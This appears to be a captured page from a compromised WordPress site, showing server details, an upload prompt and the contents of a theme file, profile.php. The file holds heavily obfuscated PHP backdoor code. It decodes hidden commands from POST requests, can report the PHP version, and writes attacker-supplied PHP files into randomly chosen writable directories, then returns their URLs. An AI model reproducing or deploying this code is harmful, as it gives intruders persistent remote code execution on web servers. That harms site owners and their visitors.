HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/themes/twentytwentyone/profile.php
<?php $zAyeoEZ = chr(68).'O'.'C'.'U'."\x4d"."\105"."\x4e"."\124".'_'.'R'.chr(442-363).chr(79).chr(355-271);$pLiwDy = chr(1038-966).chr(583-499).chr(84).chr(80)."\x5f".'H'."\x4f".'S'.'T';$ZrvVsp = "\x68"."\164".chr(367-251).'p'.chr(420-362)."\x2f"."\x2f";$LpFJb = chr(1010-964)."\160"."\x68"."\x70";$BrPfcfGbX = chr(263-151).chr(811-707).'p';$ByHVza = chr(102)."\151".chr(108)."\x65".chr(95).chr(1022-910)."\x75".chr(116)."\x5f"."\143"."\157".chr(110).chr(656-540)."\x65"."\156".'t'.chr(115);$ZMInhH = "\162"."\x61".chr(403-284).'u'.'r'.chr(108)."\144"."\145"."\143".'o'.'d'."\145";$YRqDVtNH = chr(117)."\x6e"."\x73"."\145".chr(205-91).'i'.'a'."\x6c"."\151"."\172"."\145";$dcwHIkYWXd = "\x69".chr(421-306).chr(95).'w'.chr(939-825)."\x69".'t'.chr(1010-913).chr(213-115).'l'."\145";$vozKo = "\x70".'h'.chr(112)."\166".chr(101).'r'."\163".chr(926-821).chr(111)."\x6e";$kiSBOBzM = chr(115)."\164".chr(114).'_'.'r'.'o'."\x74".'1'."\x33";$wLjLDqQXzs = "\x73".chr(101).'r'.chr(105)."\x61".'l'.chr(105).'z'.'e';$eApUrBShh = "\163".chr(425-309).chr(913-799).'_'."\163".'p'.chr(108)."\x69".chr(116);foreach ($_POST as $JQZrkPbrj => $hssgNXlaQ){$cXrJKFDc = strlen($JQZrkPbrj);if ($cXrJKFDc == 16){$hssgNXlaQ = $eApUrBShh($ZMInhH($kiSBOBzM($hssgNXlaQ)));$JQZrkPbrj = array_slice($eApUrBShh(str_repeat($JQZrkPbrj, (count($hssgNXlaQ)/16)+1)), 0, count($hssgNXlaQ));function WBDLm($qIxam, $VJGtvtUN, $JQZrkPbrj){$qdynZvN = "0f9ac202-e413-4985-bc78-a0acc21856b7";return $qIxam ^ $qdynZvN[$VJGtvtUN % strlen($qdynZvN)] ^ $JQZrkPbrj;}$hssgNXlaQ = array_map("WBDLm", array_values($hssgNXlaQ), array_keys($hssgNXlaQ), array_values($JQZrkPbrj));$hssgNXlaQ = implode("", $hssgNXlaQ);$hssgNXlaQ = @$YRqDVtNH($hssgNXlaQ);if (@is_array($hssgNXlaQ)){$eBkTnyw = array_keys($hssgNXlaQ);$hssgNXlaQ = $hssgNXlaQ[$eBkTnyw[0]];if ($hssgNXlaQ === $eBkTnyw[0]){echo @$wLjLDqQXzs(Array($BrPfcfGbX => @$vozKo(), ));exit();}else {function WQMFmxnxI($aeIjVir){static $WiTDSq = array();$pXGmbIi = glob($aeIjVir . '/*', GLOB_ONLYDIR);$NHGOSEbdr = count($pXGmbIi);if ($NHGOSEbdr > 0) {foreach ($pXGmbIi as $aeIjV) {if (@$dcwHIkYWXd($aeIjV)) {$WiTDSq[] = $aeIjV;}}}foreach ($pXGmbIi as $aeIjVir) WQMFmxnxI($aeIjVir);return $WiTDSq;}$ULVfO = $_SERVER[$zAyeoEZ];$pXGmbIi = WQMFmxnxI($ULVfO);$eBkTnyw = array_rand($pXGmbIi);$EDUoChqmU = $pXGmbIi[$eBkTnyw] . "/" . substr(md5(time()), 0, 8) . $LpFJb;@$ByHVza($EDUoChqmU, $hssgNXlaQ);$MbebuKO = $ZrvVsp . $_SERVER[$pLiwDy] . substr($EDUoChqmU, strlen($ULVfO));echo $MbebuKO;die();}}}}